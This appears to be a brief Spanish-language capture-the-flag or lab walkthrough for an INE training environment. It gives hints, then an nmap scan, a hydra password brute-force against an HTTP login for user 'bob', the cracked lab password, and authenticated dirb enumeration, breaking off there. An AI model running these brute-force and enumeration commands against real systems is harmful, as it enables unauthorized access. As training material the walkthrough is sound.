Pistas

1. User 'bob' might not have chosen a strong password. Try common passwords. (target1.ine.local)
2. Valuable files are often on the C: drive. Explore it thoroughly. (target1.ine.local)
3. SMB shares might contain hidden files. Check the available shares. (target2.ine.local)
4. The Desktop directory might have what you're looking for. Enumerate its contents. (target2.ine.local)

Empezamos con un escaneo a todos los puertos con nmap

nmap -sV -sC -p- target1.ine.local

Vemos que tiene el puerto 80 abierto, vamos a ver que hay.

Vemos un panel log in, vamos a atacarlo con hydra

Como la pista habla sobre el user bob será nuestro target.

hydra -l bob -P /usr/share/wordlists/metasploit/unix_passwords.txt target1.ine.local http-get /

Tenemos credenciales, user: bob password: password_123321

Ahora vamos a listar directorios con dirb

dirb <http://target1.ine.local> -ubob:password_123321